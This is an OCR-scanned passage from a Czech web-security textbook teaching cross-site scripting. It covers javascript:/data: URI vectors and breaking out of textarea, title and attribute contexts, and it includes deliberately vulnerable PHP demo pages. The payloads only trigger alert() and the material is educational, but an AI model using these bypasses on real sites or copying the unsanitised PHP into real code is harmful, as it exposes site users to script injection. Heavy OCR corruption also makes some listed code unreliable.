Pro propaSovani nebezpeéného kodu do aplikace skrz tyto
direktivy existuje hned né&kolik cest. Asi nejcastéji je téchto direktiv
vyuzivano jako cill, na které sméfuji ptipravené odkazy. Ty totiz nemusi
sméfovat vzdy pouze na stranky nacitané protokolem http://. Utoénik miize
jednoduse vlozit do webového fora odkaz smétujici na direktivu javascript:
nebo jej zaslat své obéti skrz nékterou z aplikaci umoziujici predavani
zprav. Ve chvili, kdy uzivatel na takovy odkaz klikne, spusti se vlozeny kod
v kontextu webové stranky, na které je tento odkaz umistén. Pfipraveny
odkaz by mohl mit nékterou z podob, které vidite ve vypisu 50.

l Vypis 50 - Ukdzka odkazu spoustéjicich kod JavaScriptu

Pouziti direktivy javascript:

<a href="javascript:alert (/XSS/);">0dkaz</a>

Poutziti direktivy data:

<a href="data:text/html,<script>alert ('XSS');</script>">0dkaz</a>
Poutziti direktivy data: s kédovanim BASE64

<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgiWENTIik7PC9zY3JpcHQ+">
Odkaz</a>

Poutziti direktivy vbscript:

<a href='vbscript:msgbox ("XSS") '>vbscript</a>

Opera umoziiuje pred direktivou javascript pouZit nékteré bilé znaky
<a href='&#1l;&#5;&#9;javascript:alert ("XSS") '>Opera</a>
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Direktivu javascript: je mozné pouzit také v odkazech na externi
zdroje dat u nékterych HTML tagl z tabulky 6. Takto vlozeny kod
JavaScriptu by pak mohl vypadat jako ten z vypisu 51.

Vypis 51 - JavaScript jako zdroj dat v HTML tagu

<iframe src = "javascript:alert('XSS');"></iframe>

Asi nejéastéji bylo timto zplsobem diive zneuzivano tagu img,
ktery byva ve webovych aplikacich ¢asto povolen ke vkladani obrazki. Ve
webovych prohlizeéich byla proto moznost vkladani kodu timto zpasobem
do tagu img zakazana. V Internet Exploreru naptiklad funguje tento zpiisob
u tagu img pouze do verze 6. Ve vypisu 52 si mizete pro piedstavu
prohlédnout nékteré varianty pouziti.

Vypis 52 - Priklady pouZiti direktivy v odkazech na externi soubor

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC="data:text/html;base64,
PHNF cmlwdD5hbGVydCgiWFNTIik7PC9zY3JIpcHO+"></IFRAME>

Uvedené triky funguji pouze u Internet Exporeru do verze 6.0

<IMG SRC="javascript:alert('XSS');">

<IMG DYNSRC="javascript:alert('XSSs');">

<IMG LOWSRC="javascript:alert('XSS');">

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
<TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>

Posledni z moznych variant pouziti uvedenych direktiv, o které se
nyni zminim, Se tyka jejich vyziti jako cilti pfi pfesmérovani. Pokud webova
aplikace umoziuje pfesmerovani na konkrétni stranku a adresa této cilové
stranky ji je pfedavana prostfednictvim parametru, mizeme se pokusit tuto
adresu nasmérovat pravé na nékterou z probiranych direktiv. Misto toho, aby
doslo k pfesmérovani na HTML stranku, dojde tak ke spusténi podstréeného
skriptu. O této varianté se vice rozepisi v kapitole vénované pfesmérovani.
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Direktiva data:

S direktivou data:" pfisla jako prvni Mozilla. Jeji implementace se
pozdgji dostalo také webovym prohlize¢im Safari, Konqueror a Opera od
verze 7.20. Internet Explorer az do verze 7 tuto direktivu nepodporoval
vibec a od verze 8 podporuje data: pouze u obrazkt v CSS.

Jeji pouziti je stejné jako u direktivy javascript:. Je mozné ji
pouzit jak v odkazech, tak i jako zdroje externich dat u HTML tagi. Pro
utoénika je tato direktiva zajimava tim, ze umoziiuje diky pouzitému
kodovani znepiehlednit Gtoény kod. Dokaze ale také obejit filtry zamétené
na vyskyt slova script a co je nejdulezit€jsi, neni tato direktiva stale piili§
znama mezi tvirci webovych aplikaci, ktefi ji proto ¢asto nemaji oSetfenu ve
svych bezpeénostnich filtrech.

U direktivy data: se chvili pozdrzim a blize objasnim jeji vyznam
a syntaxi. Tato direktiva vznikla, aby vyvojafim umoznila piimé vkladani
jakychkoli dat pfimo do HTML koédu webové stranky nebo CSS souboru
namisto toho, aby bylo nutné je dotahovat z externich soubort. Syntaxi
direktivy data: ukazuje vypis 53.

Vypis 53 - Syntaxe pouZiti direktivy data:

data: [<mimetyp>] [;base64],<data>

Mimetyp, ktery je prvnim parametrem této direktivy, urcuje
MIME typ? dat, které tvori samotny obsah. Zéapis této hodnoty se uvadi ve
tvaru typ/podtyp a nejpouzivanéjsi z nich naleznete v tabulce 22.

Tabulka 22 - Nejpouzivanéjsi MIME typy

text/plaintext text v prosté neformatované podobé
text/html kéd v HTML formatu

text/xml text v XML formatu

text/css text urcujici zdroj CSS
text/javascript kéd v JavaScriptu

image/gif zdroj obrazku ve formatu gif
image/jpeg zdroj obrazku ve formatu jpeg

Druhym, nepovinnym parametrem direktivy data: miZzeme urdit,
zda budou samotna data zakddovana algoritmem Base64. Toho je casto
vyuzivano béhem XSS utoku, protoze toto zakédovani pomuze snadno skryt
uto¢ny koéd. Pivodné tato volba vznikla, aby umoznila vlozeni binarnich dat,
které tvori naptiklad obsah grafickych formatd, a které by jinak nebylo
mozné pomoci textového fetézce vyjadiit.

! https://developer.mozilla.org/en/data_URIs
2 http://www.iana.org/assignments/media-types/
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Posledni ¢asti, kterou direktiva data: obsahuje, jsou samotna data
ve formatu, ktery je udan jejich MIME typem v prvnim parametru.
Defaultné jsou tato data oéekavana ve formatu text/plain;charset=US-ASCII.
Pokud nam tedy tento format vyhovuje, mtizeme prvni parametr vynechat.

Vypis 54 nam jesté pro lepsi predstavu ukaze, jakym zpisobem je
mozné vlozit uvedenym zptisobem do webové stranky obrazek.

Vypis 54 - VloZeni obrdzku do HTML kodu stranky s vyuZitim data: URI

<img
src="data:image/gif;base64,R01LGODLIhEAAOALMAAOazToeHh0tLS/7LZv/0jvb29t/£3//Ub/
/ge8WSLE/rhf/3kdbWlmxsbP//mf///yHSBAAAAAAALAAAAAAQAA4AAARe8L1Ekyky67QZ1hLniM5
UUde 0ECWLJoExKcppV0aCcGCmTIHEIUEQ])gaORCMxIC6e0CcguWw6aF]jsVMkkIr7g77ZKPJjPZqly
d7sJAGVGOEGV2xSBxgNgYPJ /gAWXEQAT">

Pro zajimavost zavérem je$t€ uvedu, ze odkazy s direktivou
javascript: nebo data: bylo mozné vkladat napiiklad do diskuzi ke ¢lankim
na znamych informa&nich serverech Lupa.cz nebo Root.cz".

Bypassing

Béhem injektovani kodu se nam Casto stane, ze nami vloZeny
fetézec neni na webu zobrazen pfimo v textu, ale napfiklad v nékterém
Z atributd existujiciho prvku webové stranky, nebo Ze je nas vstup obklopen
parovym tagem, ktery zabrafiuje jeho spu$téni. V téchto pifipadech nam
nezbyva, nez se z dané¢ho kontextu néjakym zplisobem vymanit a dostat se
tak mimo oblast ohrani¢enou parovym tagem nebo uvozujicimi znaky, které
ohrani¢uji hodnotu atributu. Ktomuto vymanéni zdaného kontextu
pouzijeme urcité sekvence znaki, kterym budeme fikat bypass, a se kterymi
vas nyni seznamim.

Bypass pole textarea

Casto se setkate se situaci, kdy se va§ fetézec vloZi do webové
stranky obklopen parovym tagem textarea, neboli v textovém poli. Uvnitf
tohoto pole ale nedochazi k interpretaci kodu a nas§ vlozeny skript je tam
chapan jako prosty text bez toho, aby se spustil. Ukazeme si nyni v praxi, jak
v takovém pfipad¢é postupovat a vyprostit se ze zajeti tohoto pole. Pro
potteby naseho testovani si upravime diive vytvofenou webovou diskuzi

! http://www.soom.cz/index.php?name=bugtrack/show&thread_id=2
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z vypisu 18 tak, aby ve chvili, kdy neni vyplnéno jedno z poli, bylo vraceno
upozornéni a vyplnéné pole zlstalo zachovano. Novy koéd této diskuze
uvadim ve vypisu 55.

Vypis 55 -Zdrojovy kéd upravené webové diskuze

<?php
$jmeno = $_POST["jmeno"];
$txt = §_POST["txt"];

if (!$jmeno || !S$txt) {

S$zprava = "Nezadali jste jmeno nebo text prispevku.";
}
else {

file put_contents ("forum.txt", "<b>$jmeno : </b>$txt<br>\n",FILE APPEND) ;
Szprava = fispévek byl uloZen.";
$jmeno

S$txt =
}
?>
<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Diskuzni férum</title>
</head>
<body>
<?php echo $zprava; 2>
<hr><hl>Diskuzni férum</hl><hr>
<?php echo file get contents ("forum.txt"); 2>
<hr>
<form name="formular" method="post">
<table>
<tr>
<td>Jméno:</td>
<td>
<input type="text" name="jmeno" value="<?php echo $jmeno; ?>">
</td>
</tr>
<tr>
<td>Text:</td>
<td>
<textarea name="txt" rows="3" cols="30">
<?php echo $txt; ?>
</textarea>
</td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="Odesli">
</tr>
</table>
</form>
</body>

</html>
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Nejprve pouzijeme nas dobie zndmy testovaci vstup, ktery vlozime
do pole pro zadani prispévku a formulat odesleme bez vyplnéného jména.

<script>alert(/XSS/);</script>
Ve vypise 56 si mizete prohlédnout HTML kod vracené stranky.

Vypis 56 - Zdrojovy kéd stanky s neuspésnym bypassem prvku textarea

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Diskuzni férum</title>
</head>
<body>
Nezadali jste jmeno nebo text prispevku.<hr>
<h1>Diskuzni férum</hl>
<hr>
<b>Petr:</b> Ahojte vSichni. Jak se mate?<br>
<b>Honza:</b> V&¥im, Ze se mame dob¥e :)<br>
<b>Jirka:</b> To jsou zas keci.<br>
<hr>
<form name="formular" method="post">
<table>
<tr>
<td>Jméno:</td>
<td><input type="text" name="jmeno" value=""></td>
</tr>
<tr>
<td>Text:</td>
<td>

<script>alert (/XSS/) ;</script>

</td>

</tr>

<tr>
<td></td>
<td><input type="submit" value="OdeS1li">

</tr>

</table>
</form>
</body>
</html>

Mizete si vSimnout, ze nas§ vstup zlstal skute¢né uzavien mezi
otevirajici a ukoncovaci ¢asti parového tagu textarea, kde je na néj parserem
HTML nahliZeno jako na prosty text. Dojde tak sice k jeho zobrazeni, ale ne
ke spusténi vlozeného skriptu. Aby se tak stalo, museli bychom nas vstup
upravit a bypass vytvofit z uzaviraci znacky prvku textarea. Vysledny vstup
by potom vypadal tak, jak uvadim ve vypisu 57.

Vypis 57 -Vstup s bypassem prvku textarea

</textarea><script>alert (/XSS/);</script>
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Po zadani a odeslani uvedeného vstupu bude zdrojovy kod stranky
vypadat jako ten z vypisu 58. Bypass zafunguje dokonale a protoze se nas
skript ocitne mimo textové pole, dojde ke spusténi vloZeného skriptu.
Z uvedeného by mélo byt také zfejmé, ze podobny bypass je mozné vytvorit
pouze v piipadé, kdy aplikace neosetiuje nebezpetné znaky ostrych zavorek.

Vypis 58 - Zdrojovy kéd stanky s uspéSnym bypassem prvku textarea

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Diskuzni férum</title>
</head>
<body>
Nezadali jste jmeno nebo text prispevku.<hr>
<h1>Diskuzni férum</hl>
<hr>
<b>Petr:</b> Rhojte v8ichni. Jak se mate?<br>
<b>Honza:</b> V&#im, Ze se méme dobfe :)<br>
<b>Jirka:</b> To jsou zas keci.<br>
<hr>
<form name="formular" method="post">
<table>
<tr>
<td>Jméno:</td>
<td><input type="text" name="jmeno" value=""></td>
</tr>
<tr>
<td>Text:</td>
<td>

-script>alert (/XS8/) ;</script>

</textarea>

</td>

</tr>

<tr>
<td></td>
<td><input type="submit" value="Ode$li">

</tr>

</table>
</form>
</body>
</html>

Bypass titulku dokumentu

Podobné¢ miize nastat situace, ze se nam podaii injektovat nas
skript do prvku <title> v hlavi¢ce dokumentu. Abychom se vymanili z jeho
zajeti, mizeme pouzit obdobné jako v pfedchozim piikladé bypass, kterym
tento tag ukoncime, viz. vypis 59.

Vypis 59 - Bypass prvku title

</title><script>alert (/XSS/);</script>
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Bypass atributd prvka

Asi nejcastgji se setkate se situaci, kdy je uzivatelsky vstup
vklddan do obsahu stranky jako hodnota atributu nékterého existujiciho
prvku. Béznou praxi je napiiklad pfedvypliiovat formulafe jiZ jednou
zadanymi daty v ptipadé, Ze dojde k jeho odeslani s chybné& nebo neuplné
vyplnénymi poli. V takové situaci aplikace jednou zadana data sama vlozi
do vstupnich poli a uzivatele pouze pozada o provedeni opravy. Aplikace
ovSem nékdy odeslou nami vloZena data na vystup bez jakékoliv kontroly
a utocniktim tak umozni injektaz a spusteni jejich skriptu. UZ jsme se s timto
typem zranitelnosti setkaly v piikladu se zranitelnym webforem pii bypassu
prvku textarea. Nyni se zaméfime na neparovy prvek <input>, ktery
obsahuje vlozena data v atributu value.

Vratme se nyni k nasemu piikladu s oklesténym vyhleddvacem
a mirn¢ jej upravme. Namisto toho, aby Se nas uzivatelsky vstup vkladal pti
odpovédi do textové véty, vypise tentokrat pouze odpovéd: "Na vds dotaz
nebyly nalezeny Zadné odpovidajici vysledky. Zkuste upravit své zadani."
Druhou zménu provedeme v predvyplnéni pole pro zadani hledané fraze.
Vzdy, kdyz nyni néjaky fetézec odesleme, vrati se tento zpét piedvyplnén
v poli pro jeho zadani.

Ve vypisu 60 uvadim php skript, ktery plni vyse popsanou funkci
na stran¢ serveru. Na nasledujicim screenshotu si pak miizete prohlédnout
vysledek po odeslani pozadavku na vyhledani slova jeFabina.

Vypis 60 - Upraveny kéd vyhleddvace, ktery predvyplni vstupni pole

<?php
$dotaz = $_GET["dotaz"];
Svystup = "";
if ($dotaz!="") S$Svystup = "Na vas dotaz nebyly nalezeny 2Z&dné odpovidajici

vysledky. Zkuste upravit své zadani.";
2>
<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html;
charset=is0-8859-2">
<title>Webovy vyhledavadé</title>
</head>
<body>
<hl>Webovy vyhledavad&</hl>
<hr>
<?php echo $vystup; ?>
<hr>
<form name="formular" method="get">
Zadej hledanou frazi:
<input type="text" name="dotaz" value="<?php echo $dotaz; ?>">
<input type="submit" value="Hledej">
</form>
</body>
</html>
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@ Webowy wyhiedavaé - Mexzilla Firefox. o5 e |
Soubor Upravy Zobrazeni Historie Ziloiky Nastroje Napovéda

- c n % } =] httpi/fwww.hackingvpraxi.czfsearchz.ph 77 - | |

|| Webovj vyhledsvaé -

Webovy vyhledavaé

Navas dotaz nebyly nalezeny 7adné odpovidajic vysledky. Zkuste upravit své zaddni.

Zadej hledanou frézi jefabina

Hotova +

TorDisabled §gy @

Po odesléani dat a zobrazeni odpovédi se mizete podivat na HTML
kod vracené webové stranky. Ten by mél odpovidat tomu z vypisu 61.

Vypis 61 - Zdrojovy kéd webové stranky po vyhledani slova jerabina

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Webovy vyhledavacé</title>
</head>
<body>
<hl>Webovy vyhledava&</hl>
<hr>
Na v&35 dotaz nebyly nalezeny Zadné odpovidajici vysledky.
Zkuste upravit své zadani.
<hr>
<form name="formular" method="get">
Zadej hledanou frézi:
<input type="text" name="dotaz" value="fjE¥abina">
<input type="submit" value="Hledej">
</form>
</body>
</html>

Nezbyva, nez zkusit do vyhledavace zadat nas stary znamy
testovaci fetézec <script>alert(/XSS/);</script> a formulaf odeslat. Pokud
jste ocekavali, ze dojde (stejné¢ jako u predchozich testd) ke spusténi
vloZeného skriptu a vysko¢i na nas vystrazné okno se zpravou /XSS/, jste
nyni mozna ptekvapeni, ze se tak nestalo. Pro¢ tomu tak je, snaze pochopite,
kdyz se podivate na zdrojovy kod vracené webové stranky. Uvadim jej ve
vypisu 62.
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Vypis 62 - Zdrojovy kéd webové stranky vyhleddvace po zadani testovaciho skriptu

<html>

<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Webovy vyhledavadé</title>

</head>

<body>
<hl>Webovy vyhledava&</hl>
<hr>
Na va&3 dotaz nebyly nalezeny zadné odpovidajici vysledky.
Zkuste upravit své zadani.
<hr>
<form name="formular" method="get">

Zadej hledanou frézi:

<input type="text" name="dotaz" value:"_">
<input type="submit" value="Hledej">
</form>
</body>

</html>

Ve vypisu si muzete vSimnout, ze nas skript se vlozil jako obsah
atributu value textového pole uvnitf tagu <input>. Protoze jde o textovy
fetézec obklopeny uvozovkami, ktery je pouhou soucasti jiného tagu, dojde
sice k jeho zobrazeni, nikoliv vSak k jeho interpretaci ze strany browseru.

Aby se nam spusténi skriptu podafilo i v takovémto pftipadé,
musime opét vytvofit bypass, ktery nam umozni vymanit se z kontextu
hodnoty atributu a v lep$im ptipadé také ze samotného prvku input. O tom,
zda se nam podaii opustit pouze kontext atributu nebo celého tagu, rozhoduji
pouzité bezpecnostni mechanismy, které mohou osetfovat vyskyt nékterych
nebezpecnych znakd.

Nejprve si uvedeme bypass, ktery mizeme pouzit v ptipadé, Ze
aplikace neoSetfuje zadné nebezpeéné metaznaky a my tak muizeme
Vv injektovaném fetézci pouzit znaky uvozovek i ostrych zavorek. Abychom
se dokazaly vymanit z kontextu vstupniho pole, museli bychom opét nejprve
ukonéit fetézec tvotici hodnotu atributu a nasledné i samotny HTML tag.
Teprve po tomto bypassu bychom mohli vlozit nas skript. Bypass v tomto
piipadé vytvofime tak, ze na$ vstup zacneme znakem uvozovky "', pomoci
kterého se vyprostime ztextového fetézce tvoficiho hodnotu atributu.
Nasledovat bude ukoncovaci ostra zavorka >, ktera uzavie samotny HTML
tag. Cely fetézec, ktery nakonec vlozime do pole pro vyhledavani, bude mit
tuto podobu:

""><script>alert(/XSS/);</script>

Po odeslani uvedeného textu jiz ke spu$téni naSeho skriptu
skuteéné dojde. Jakym zptisobem se nas§ bypass integroval do HTML kédu
stranky, bude opét nejlépe patrné z jejiho zdrojového kddu, ktery uvadim ve
vypisu 63.
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Vypis 63 -Zdrojovy kéd stranky s bypassem

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Webovy vyhledavaé</title>
</head>
<body>
<hl>Webovy vyhledavad&</hl>
<hr>
Na v&3 dotaz nebyly nalezeny Zadné odpovidajici vysledky.
Zkuste upravit své zadéani.
<hr>
<form name="formular" method="get">
Zadej hledanou frézi:
<input type="text" name="dotaz" value-"[BKScriptoalert (/XSS/)i</ScTipts >
<input type="submit" value="Hledej">
</form>
</body>
</html>

Nasleduji screenshoty sejmuté po odeslani dat a nasledné poté, co
odklikneme vystrazné okno.
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Na druhém ze snimkl si miZete v§imnout, Ze za sebou nas vstup
po odkliknuti vystrazného okna zanechal stopy v podob¢ zobrazeni zbyvajici
¢asti pivodniho tagu <input>. Konkrétné se jedna o fetézec ">. Z vypisu 63
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je patrné, Ze tyto znaky nyni nejsou soucasti zadného prvku a tvoii tak bézny
textovy obsah webové stranky. Abychom se jejich nechténého zobrazeni,
které by mohlo vlozeny skript prozradit, zbavili, mizeme vyuzit zna¢ku pro
zacatek komentare. Tou je v HTML sekvence znakt <!-- kterou pfidame na
konec naSeho vstupu. Podle specifikace by mél byt také kazdy komentaf
uzavien uzavirajici znackou, kterou je v HTML sekvence --> Vzhledem
k tomu, Ze nejsme schopni zapsat za znaky ">, které nam po vlozeni naseho
kodu na strance piebyvaji, jiz zadné dal$i informace, nemizeme za nimi
spravné uzaviit ani na§ komentaf. Webové prohlizece si ale dokazi poradit
i s témito ptipady. Pokud totiz ve zdrojovém kodu stranky, ktery nasleduje
za na$im vstupem, nenarazi na jinou legitimni znacku uzavirajici komentaf,
uzaviou jej pfi prvnim vyskytu uzavirajici ostré zavorky >. Jina situace by
nastala v pfipadé, ze se kdekoliv nize v kodu stranky, uzavirajici znacka
HTML komentafe nachazi. Pak by doslo k uzavieni komentafe, ktery jsme
na konci naseho vstupu otevieli, az touto uzavirajici znackou. Veskery obsah
webové stranky nachdzejici se mezi nasi oteviraci a legitimni ukonéovaci
znackou komentafe by pFitom zistal zakomentovany a tim padem skryty.

Zkusme nyni vlozit jiz kompletni vstupni fetézec:
""><script>alert(/XSS/);</script><!--

Podle ptedpokladu dojde k odkomentovani nezadouciho vystupu,
ktery nam dokonce poslouzi jesté k tomu, ze uzavirajici ostra zavorka
ukon¢i komentéf, ktery jsme otevieli. Vystup, ktery timto zplsobem
ziskame, bude nyni vypadat zcela Cisté. Ve vypise 64 si jesté ukazeme, jak
bude vypadat zdrojovy kod naseho vyhledavace po tomto vstupu.

Vypis 64 -Zdrojovy kéd stranky s bypassem a odkomentovanym prebytkem

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Webovy vyhledédvac</title>
</head>
<body>
<hl>Webovy vyhledavad</hl>
<hr>
Na vas dotaz nebyly nalezeny zadné odpovidajici vysledky.
Zkuste upravit své zadani.
<hr>
<form name="formular" method="get">
Zadej hledanou frazi:
<input type="text" name="dotaz" value=""><script>alert (/XSS/) ;</script>KIEEiS
<input type="submit" value="Hledej">
</form>
</body>
</html>
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Otevieni komentdfe na konci naSeho fetézce neni ale jedinym
zpusobem, kterym se mizeme piebytecného textu zbavit. Neékdy je vysledek
jeho pouziti dokonce nezadouci. Dalsi zplsob, ktery zde uvedu, vyuziva
vlastnosti standardu HTML, ktery méa piedepsano zahazovat vSechny
nesmyslné tagy bez toho, aby byly zobrazeny ve webové strance. Pro
zbaveni se prebytecnych znakd proto vytvofime prave takovy nedefinovany
tag. Namisto znakti <!-- pro otevieni komentafe zkusime pouzit tuto
sekvenci znakli <xss=" Jak s nimi bude vypadat zdrojovy kod stranky, si
muzete prohlédnout ve vypise 65. Vidite, Zze vznikl nesmyslny prvek
<xss="">, ktery bude nakonec webovym prohlize¢em ignorovan.

Vypis 65 - Zdrojovy kéd stranky s bypassem a odkomentovanym prebytkem

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Webovy vyhledavacé</title>
</head>
<body>
<hl>Webovy vyhledava&</hl>
<hr>
Na v&5 dotaz nebyly nalezeny Zadné odpovidajici vysledky.
Zkuste upravit své zadani.
<hr>
<form name="formular" method="get">
Zadej hledanou frézi:
<input type="text" name="dotaz"
value=""><script>alert (/XSS/) ;</script>ERSs=1">
<input type="submit" value="Hledej">
</form>
</body>
</html>

Ve formuldfi z naSeho piikladu jsme pro ohraniceni hodnoty
u atributu value pouzili znaky uvozovek. Z toho divodu jsme je k ukondeni
fetézce pouzili také jako prvni znak v nasem bypassu. Stejné tak mohli byt
ale k ohrani¢eni hodnot atributii ve formulafi pouzity apostrofy. V takovém
piipadé by po vlozeni bypassu s pocate¢ni uvozovkou nedoslo k ukonceni
fetézce a skript by se nespustil. K jeho ukonéeni bychom v bypassu museli
pouzit také znak apostrofu. Pred vlastnim utokem je tedy potfeba vzdy
nejprve zjistit, jakého uvozovaciho znaku je ve formulafi pouzito a tomu
prizpisobit svilj bypass. Existuje ale jesté jedna univerzalni metoda, kterou
je pouziti obou zminénych znaki soucasné. Potom dojde k ukonceni fetézce
v kazdém ptipadé a ve fazi hledani zranitelného mista nam tento postup
nijak nezktizi plany. Cely bypass by pak byl v tomto tvaru ' ** >

Nyni se zamé&fime na situaci, kdy aplikace oSetfuje nebezpecné
znaky ostrych zavorek. Pfed vlozenim uzivatelského vstupu do atributu
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value naptiklad vypusti tyto znaky nebo je nahradi jejich bezpeénymi
ekvivalenty v podobé HTML entit &It; a &gt; V tomto piipadé se nam jiz
nepodafi ukon¢it tag <input>. Pokud ale miZeme pouzit znak uvozovek,
potazmo apostrofu v zavislosti na tom, které z téchto znakd uvozuji hodnotu
atributu, mizeme se pomoci téchto znakid vyprostit alespon z tohoto fetézce.
Nemiizeme-li ale pouzit znaky ostrych zavorek, tak jakym zptisobem se nam
podaii injektovat nas skript? Pokud si vzpomenete na kapitolu vénovanou
in-line skriptim, moZnd se vam nyni vybavi atributy, které slouzi ke spusténi
skriptl v zavislosti na udalosti, ke které na tomto prvku dojde.

Nic nam tedy nebrani ve vloZeni pravé takového atributu. Vybirat
muzeme z celého seznamu atributl, které oSetfuji rizné udalosti.
V nasledujicim ptikladé sahnu po atributu onclick, jehoZ obsah bude
vykonan ve chvili kliknuti nad danym prvkem. Zkusme tedy do vyhledavace
vlozit nasledujici kod a odeslat jej:

" onclick=""alert(/XSS/);

Ve vypisu 66 si mizete prohlédnout vraceny kod HTML stranky.
Je na ném vidét, ze uvozovka, kterou néd$ vstup zacind, se pouzila jako
bypass pro opusténi hodnoty atributu value. Nasleduje injektovany ovlada¢
udalosti onclick, ktery obsahuje nami piipraveny skript. K uzavieni hodnoty
atributu se pouzil znak uvozovky, ktery pivodné nalezel atributu value.
Z tohoto divodu jsme nas fetézec uz nemuseli ukoncovat uvozovkou my.

Vypis 66 - Zdrojovy kéd stranky s injektovanym ovladacem udalosti

<html>

<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Webovy vyhledavadé</title>

</head>

<body>
<hl>Webovy vyhledavad</hl>
<hr>
Na va&s dotaz nebyly nalezeny zadné odpovidajici vysledky.
Zkuste upravit své zadani.
<hr>
<form name="formular" method="get">

Zadej hledanou frazi:

<input type="text" name="dotaz" value="" onclick = "alert(/XSS/)">
<input type="submit" value="Hledej">
</form>
</body>
</html>

Mozna vas piekvapilo, ze po odeslani naseho vstupu nedoslo
k automatickému spusténi injektovaného skriptu. K jeho spusténi tentokrat
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dojde teprve v momenté vyskytu konkrétni udalosti, jejiz obsluhu jsme
definovali. V tomto piipadé tedy po kliknuti na vyhledavaci pole.

S pfedvyplnénim nékterych poli formulate diive zadanymi tdaji se
muizete setkat pomérné Casto hlavné u riznych registracnich a pfihlaSovacich
formuléid. Naptiklad béhem piihlasovani k webové aplikaci nam je ¢asto po
zadani chybného hesla vracen prihlasovaci formulaf, v némz je jiz
ptedvyplnéno uzivatelské jméno, které proto nemusime znovu zadavat. Tyto
formulafe by se tak mély stat jednim z cild, které byste méli na vyskyt XSS
zranitelnosti provefit. Opét si to muzete vyzkouset v riznych webovych
aplikacich, abyste se pfesvédCili, Ze i tento druh zranitelnosti je velice
roz$ifeny.

Jedna z vlastnosti prvku input je, Ze vstupni pole typu text nemize
obsluhovat udalosti typu onload nebo onerror. Spusténi skriptu proto vzdy
vyzaduje né&jakou spoluuCast uzivatele, ktery musi pro spusténi skriptu
néjakou udalost nad timto prvkem vyvolat. Prvek input ovSem mize byt také
typu image a v tomto tvaru jiz obsluhu uvedenych udalosti umoziiuje. Pokud
je u prvku input uveden nejprve atribut value a teprve po ném nasleduje
atribut type, tak jak to ukazuje vypis 67, mizeme kromé obsluhy udalosti
injektovat také atribut type, kterym piebijeme typ vstupniho pole na image.
Vstupni pole je totiz nakonec takového typu, ktery je uveden jako prvni.
Kod s touto injektazi ukazuje vypis 68.

Vypis 67 - FormulaF s neosetfenym vstupem

<form action="" method="get">

<input value="" type="text">

<input value="ode3li" type="submit">
</form>

Vypis 68 - Formular s neosetifenym vstupem

<form action="" method="get">

<input value="" type="image" onError="alert (/XSS/);" type="text">
<input value="ode3li" type="submit">
</form>

Zpusob, jakym je mozné skript vhodnym zptsobem vklinit mezi
ostatni atributy konkrétniho prvku, je vzdy velmi individualni. Pokazdé je
dualezité tadné prozkoumat zdrojovy kod dokumentu s nasim vstupem
a z tohoto pruzkumu vyvodit zavéry a zvolit dali postup pro nasledujici
pokusy.

M¢jme napiiklad bezpe€nostni filtr, ktery umoznuje vkladat pouze
prosty text a obrazky. Filtr povoluje k tagu <img> vkladani atributu src
a nékterych dalSich bezpe¢nych atributa jako width a height. U hodnot
téchto atributi povoluje filtr pouze tfiznakova ¢isla nebo fetézec, ktery musi
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zaéinat na http://. BohuZel uz vsak filtr nekontroluje, kterd hodnota je
vkladana ke kterému atributu a je také benevolentni k pouZiti uvozovek,
které mohou, ale také nemusi byt k ohranieni hodnot atributi pouzity. Ve
vypise 69 si mulzete prohlédnou regulérni vstup, ktery tvirce aplikace
predpokladal, ze budou uzivatelé vkladat a ve vypisu 70 pak vstup utocnika,
ktery uvedenym bezpecnostnim filtrem projde.

Vypis 69 - Regulerné vioZeny obrdzek

<img width="100" src="http://www.hackingvpraxi.cz/obraz.jpg">

Vypis 70 - Obejiti filtru povolujiciho vioZeni obrazku

<img src="100 width="http://onError=alert (/XSS/)>

DalSim z atributd, ve kterém mtizete casto odhalit nachylnost na
XSS, je atribut href u odkazi umisténych na webové strance. Casto je totiz
hodnota aktudlniho URL, nebo minimaln¢ jeho oblast proménnych vkladana
do vSech odkazli na strance. Pti testovani aplikace byste tedy vzdy méli
vyzkouset vstupy podobné tomu z vypisu 71 a prozkoumat pomoci nich, jak
se hodnoty jednotlivych proménnych promitnou do odkazti v HTML kodu.
Neobsahuje-li URL zadny parametr, nebojte se pfidat svou proménnou
pojmenovanou napiiklad test. Znak ampersand &, ktery v hodnoté proménné
z vypisu 71 zastupuje kod %26, nebo zpétné lomitko bychom méli otestovat
také. V nékterych piipadech je totiz mozné vkladat do atributd i hodnoty
v kédovani, které dokaze obejit bezpecnostni filtry. Blize si ale o kodovani
znaka povime az v kapitole, ktera je mu vyhrazena.

Vypis 71 - Priklady URL pro otestovadni pfitomnosti XSS zranitelnosti

http://www.aplikace.cz/skript.php?test="'"><%26\

Nyni si je$té vzpomerite na kapitolu o clickjackingu, ve které jsem
se zminil o tom, ze nam clickjacking mize uspésné¢ pomoci k naldkani
uzivatele k vyvolani ur€ité udalosti. Pokud se nam tedy podaii injektovat
néktery z ovladaci udalosti, ktery ocekava naptiklad uZzivatelské kliknuti,
pak je urcité lepSi zkombinovat ttok XSS s clickjackingem. Tim si
